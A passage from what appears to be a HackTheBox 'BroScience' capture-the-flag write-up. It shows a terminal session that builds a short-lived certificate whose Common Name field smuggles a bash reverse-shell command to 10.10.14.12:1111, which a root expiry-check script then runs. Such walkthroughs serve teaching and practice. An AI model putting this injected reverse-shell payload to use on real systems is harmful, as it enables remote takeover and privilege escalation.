  • $? is the previous command’s output. This sector checks if the certificate expires less then 86400 seconds (1 day)

Generate the malicious certificate

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bill@broscience:/tmp$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /home/bill/Certs/broscience.crt -days 1
Generating a RSA private key
.........................................................................++++
................................................................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(/bin/bash -i >& /dev/tcp/10.10.14.12/1111 0>&1)
Email Address []:
bill@broscience:/tmp$
bill@broscience:/tmp$ openssl x509 -in /home/bill/Certs/broscience.crt -noout -checkend 86400 > /dev/null

Additional

Auto Pwn Script

Made an auto pwn script just for practicing python (not completed)

Refers

  • IPPSEC - https://www.youtube.com/watch?v=kyPYfqMYQm8
  • 0xdf - https://0xdf.gitlab.io/2023/04/08/htb-broscience.html
HackTheBox - Machines, 2. HTB - Medium
This post is licensed under CC BY 4.0 by the author.